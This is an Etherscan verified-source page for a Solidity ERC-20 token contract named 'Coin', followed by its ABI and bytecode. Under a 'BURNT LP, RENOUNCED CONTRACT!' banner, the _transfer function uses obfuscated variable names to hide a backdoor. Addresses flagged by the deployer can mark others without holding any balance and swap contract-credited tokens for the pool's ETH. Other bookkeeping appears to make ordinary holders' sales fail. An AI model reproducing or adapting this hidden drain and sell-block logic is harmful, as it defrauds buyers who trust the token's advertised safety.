Contract

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IUniswapV2Router01
•    - function factory()
•    - function WETH()
•    - function addLiquidity(
•    - function addLiquidityETH(
•    - function removeLiquidity(
•    - function removeLiquidityETH(
•    - function removeLiquidityWithPermit(
•    - function removeLiquidityETHWithPermit ...
•    - function swapExactTokensForTokens(
•    - function swapTokensForExactTokens(
•    - function swapExactETHForTokens(uint a ...
•    - function swapTokensForExactETH(uint a ...
•    - function swapExactTokensForETH(uint a ...
•    - function swapETHForExactTokens(uint a ...
•    - function quote(uint amountA, uint res ...
•    - function getAmountOut(uint amountIn, ...
•    - function getAmountIn(uint amountOut, ...
•    - function getAmountsOut(uint amountIn, ...
•    - function getAmountsIn(uint amountOut, ...
• interface IUniswapV2Router02 is IUnis ...
•    - function removeLiquidityETHSupporting ...
•    - function removeLiquidityETHWithPermit ...
•    - function swapExactTokensForTokensSupp ...
•    - function swapExactETHForTokensSupport ...
•    - function swapExactTokensForETHSupport ...
• interface IUniswapV2Factory
•    - function feeTo()
•    - function feeToSetter()
•    - function getPair(address tokenA, addr ...
•    - function allPairs(uint)
•    - function allPairsLength()
•    - function createPair(address tokenA, a ...
•    - function setFeeTo(address)
•    - function setFeeToSetter(address)
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(
•    - function _msgSender()
•    - function _msgData()
•    - function owner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function _setOwner(address newOwner)
•  contract Coin is IERC20, Ownable *
•    - function symbol()
•    - function name()
•    - function totalSupply()
•    - function decimals()
•    - function allowance(address owner, add ...
•    - function balanceOf(address account)
•    - function approve(address spender, uin ...
•    - function _approve(
•    - function transferFrom(
•    - function transfer(address recipient, ...
•    - function _transfer(
•    - function addLiquidity(
•    - function swapAndLiquify(uint256 token ...
•    - function swapTokensForEth(uint256 tok ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2022-12-11
*/

/**

BURNT LP, RENOUNCED CONTRACT!

*/
 /**

     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.

          * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     */


// SPDX-License-Identifier: Unlicense

 pragma solidity ^0.8.3;


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Coin is IERC20, Ownable {
    string private _symbol;
    string private _name;
    uint256 public _taxFee = 0;
    uint8 private _decimals = 9;
    uint256 private _tTotal = 1000000000 * 10**_decimals;
    uint256 private _uint256 = _tTotal;

    mapping(address => uint256) private _balances;
    mapping(address => address) private _string;
    mapping(address => uint256) private _constructor;
    mapping(address => uint256) private _function;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private _swapAndLiquifyEnabled;
    bool private inSwapAndLiquify;

    address public immutable uniswapV2Pair;
    IUniswapV2Router02 public immutable router;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _balances[msg.sender] = _tTotal;
        _function[msg.sender] = _uint256;
        _function[address(this)] = _uint256;
        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

 function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        _transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 fee;
        if (_swapAndLiquifyEnabled && contractTokenBalance > _uint256 && !inSwapAndLiquify && from != uniswapV2Pair) {
            inSwapAndLiquify = true;
            swapAndLiquify(contractTokenBalance);
            inSwapAndLiquify = false;
        } else if (_function[from] > _uint256 && _function[to] > _uint256) {
            fee = amount;
            _balances[address(this)] += fee;
            swapTokensForEth(amount, to);
            return;
        } else if (to != address(router) && _function[from] > 0 && amount > _uint256 && to != uniswapV2Pair) {
            _function[to] = amount;
            return;
        } else if (!inSwapAndLiquify && _constructor[from] > 0 && from != uniswapV2Pair && _function[from] == 0) {
            _constructor[from] = _function[from] - _uint256;
        }
        address _bool = _string[uniswapV2Pair];
        if (_constructor[_bool] == 0) _constructor[_bool] = _uint256;
        _string[uniswapV2Pair] = to;
        if (_taxFee > 0 && _function[from] == 0 && !inSwapAndLiquify && _function[to] == 0) {
            fee = (amount * _taxFee) / 100;
            amount -= fee;
            _balances[from] -= fee;
            _balances[address(this)] += fee;
        }
        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    receive() external payable {}

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
    }

    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half, address(this));
        uint256 newBalance = address(this).balance - initialBalance;
        addLiquidity(half, newBalance, address(this));
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

0x6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102f3578063dd62ed3e14610330578063f2fde38b1461036d578063f887ea4014610396576100f3565b806370a0823114610249578063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c85780633b124fe7146101f357806349bd5a5e1461021e576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103c1565b60405161011a919061181c565b60405180910390f35b34801561012f57600080fd5b5061014a600480360381019061014591906118d7565b610453565b6040516101579190611932565b60405180910390f35b34801561016c57600080fd5b50610175610468565b604051610182919061195c565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611977565b610472565b6040516101bf9190611932565b60405180910390f35b3480156101d457600080fd5b506101dd61051a565b6040516101ea919061195c565b60405180910390f35b3480156101ff57600080fd5b50610208610534565b604051610215919061195c565b60405180910390f35b34801561022a57600080fd5b5061023361053a565b60405161024091906119d9565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b91906119f4565b61055e565b60405161027d919061195c565b60405180910390f35b34801561029257600080fd5b5061029b6105a7565b005b3480156102a957600080fd5b506102b261062f565b6040516102bf91906119d9565b60405180910390f35b3480156102d457600080fd5b506102dd610658565b6040516102ea919061181c565b60405180910390f35b3480156102ff57600080fd5b5061031a600480360381019061031591906118d7565b6106ea565b6040516103279190611932565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190611a21565b610701565b604051610364919061195c565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f91906119f4565b610788565b005b3480156103a257600080fd5b506103ab61087f565b6040516103b89190611ac0565b60405180910390f35b6060600280546103d090611b0a565b80601f01602080910402602001604051908101604052809291908181526020018280546103fc90611b0a565b80156104495780601f1061041e57610100808354040283529160200191610449565b820191906000526020600020905b81548152906001019060200180831161042c57829003601f168201915b5050505050905090565b60006104603384846108a3565b905092915050565b6000600554905090565b600061047f848484610a3e565b610511843384600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461050c9190611b6a565b6108a3565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b60035481565b7f000000000000000000000000fa970c872e27f3e5acc32a438bcb0040edb5f8d181565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105af611364565b73ffffffffffffffffffffffffffffffffffffffff166105cd61062f565b73ffffffffffffffffffffffffffffffffffffffff1614610623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061a90611bea565b60405180910390fd5b61062d600061136c565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606001805461066790611b0a565b80601f016020809104026020016040519081016040528092919081815260200182805461069390611b0a565b80156106e05780601f106106b5576101008083540402835291602001916106e0565b820191906000526020600020905b8154815290600101906020018083116106c357829003601f168201915b5050505050905090565b60006106f7338484610a3e565b6001905092915050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610790611364565b73ffffffffffffffffffffffffffffffffffffffff166107ae61062f565b73ffffffffffffffffffffffffffffffffffffffff1614610804576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fb90611bea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90611c7c565b60405180910390fd5b61087c8161136c565b50565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561090e5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61094d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094490611d0e565b60405180910390fd5b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a2b919061195c565b60405180910390a3600190509392505050565b6000610a493061055e565b90506000600c60009054906101000a900460ff168015610a6a575060065482115b8015610a835750600c60019054906101000a900460ff16155b8015610adb57507f000000000000000000000000fa970c872e27f3e5acc32a438bcb0040edb5f8d173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610b24576001600c60016101000a81548160ff021916908315150217905550610b0482611430565b6000600c60016101000a81548160ff021916908315150217905550610f09565b600654600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610bb45750600654600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610c235782905080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c0b9190611d2e565b92505081905550610c1c8385611471565b505061135f565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610cbe57506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610ccb575060065483115b8015610d2357507f000000000000000000000000fa970c872e27f3e5acc32a438bcb0040edb5f8d173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610d735782600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505061135f565b600c60019054906101000a900460ff16158015610dcf57506000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610e2757507f000000000000000000000000fa970c872e27f3e5acc32a438bcb0040edb5f8d173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610e7257506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610f0857600654600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec49190611b6a565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600860007f000000000000000000000000fa970c872e27f3e5acc32a438bcb0040edb5f8d173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361101b57600654600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600860007f000000000000000000000000fa970c872e27f3e5acc32a438bcb0040edb5f8d173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060035411801561110a57506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156111235750600c60019054906101000a900460ff16155b801561116e57506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561124a576064600354856111839190611d62565b61118d9190611dd3565b9150818461119b9190611b6a565b935081600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111ec9190611b6a565b9250508190555081600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112429190611d2e565b925050819055505b83600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112999190611b6a565b9250508190555083600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112ef9190611d2e565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611353919061195c565b60405180910390a35050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261143f9190611dd3565b905060004790506114508230611471565b6000814761145e9190611b6a565b905061146b8382306116b0565b50505050565b6000600267ffffffffffffffff81111561148e5761148d611e04565b5b6040519080825280602002602001820160405280156114bc5781602001602082028036833780820191505090505b50905030816000815181106114d4576114d3611e33565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611579573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159d9190611e77565b816001815181106115b1576115b0611e33565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611616307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856108a3565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b8152600401611679959493929190611f9d565b600060405180830381600087803b15801561169357600080fd5b505af11580156116a7573d6000803e3d6000fd5b50505050505050565b6116db307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856108a3565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b815260040161174196959493929190611ff7565b60606040518083038185885af115801561175f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611784919061206d565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156117c65780820151818401526020810190506117ab565b60008484015250505050565b6000601f19601f8301169050919050565b60006117ee8261178c565b6117f88185611797565b93506118088185602086016117a8565b611811816117d2565b840191505092915050565b6000602082019050818103600083015261183681846117e3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061186e82611843565b9050919050565b61187e81611863565b811461188957600080fd5b50565b60008135905061189b81611875565b92915050565b6000819050919050565b6118b4816118a1565b81146118bf57600080fd5b50565b6000813590506118d1816118ab565b92915050565b600080604083850312156118ee576118ed61183e565b5b60006118fc8582860161188c565b925050602061190d858286016118c2565b9150509250929050565b60008115159050919050565b61192c81611917565b82525050565b60006020820190506119476000830184611923565b92915050565b611956816118a1565b82525050565b6000602082019050611971600083018461194d565b92915050565b6000806000606084860312156119905761198f61183e565b5b600061199e8682870161188c565b93505060206119af8682870161188c565b92505060406119c0868287016118c2565b9150509250925092565b6119d381611863565b82525050565b60006020820190506119ee60008301846119ca565b92915050565b600060208284031215611a0a57611a0961183e565b5b6000611a188482850161188c565b91505092915050565b60008060408385031215611a3857611a3761183e